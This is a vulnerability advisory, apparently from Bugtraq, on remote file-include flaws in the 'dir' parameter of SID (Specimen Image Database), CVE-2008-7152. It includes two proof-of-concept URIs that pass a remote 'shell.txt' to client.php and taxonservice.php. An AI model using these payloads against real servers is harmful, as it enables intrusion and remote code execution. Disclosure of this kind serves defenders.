SID 'dir' Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID:	28142
Class:	Input Validation Error
CVE:	CVE-2008-7152
Remote:	Yes
Local:	No
Published:	Mar 07 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	ZoRLu is credited with the discovery of these vulnerabilties
Vulnerable:	Simon Rycroft SID 0
Not Vulnerable:

SID 'dir' Parameter Multiple Remote File Include Vulnerabilities

SID (Specimen Image Database) is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

SID 'dir' Parameter Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/SID_box_notns_path/client.php?dir=shell.txt?
http://www.example.com/SID_box_notns_path/taxonservice.php?dir=shell.txt?

SID 'dir' Parameter Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

SID 'dir' Parameter Multiple Remote File Include Vulnerabilities

References:

• SID Homepage (Simon Rycroft)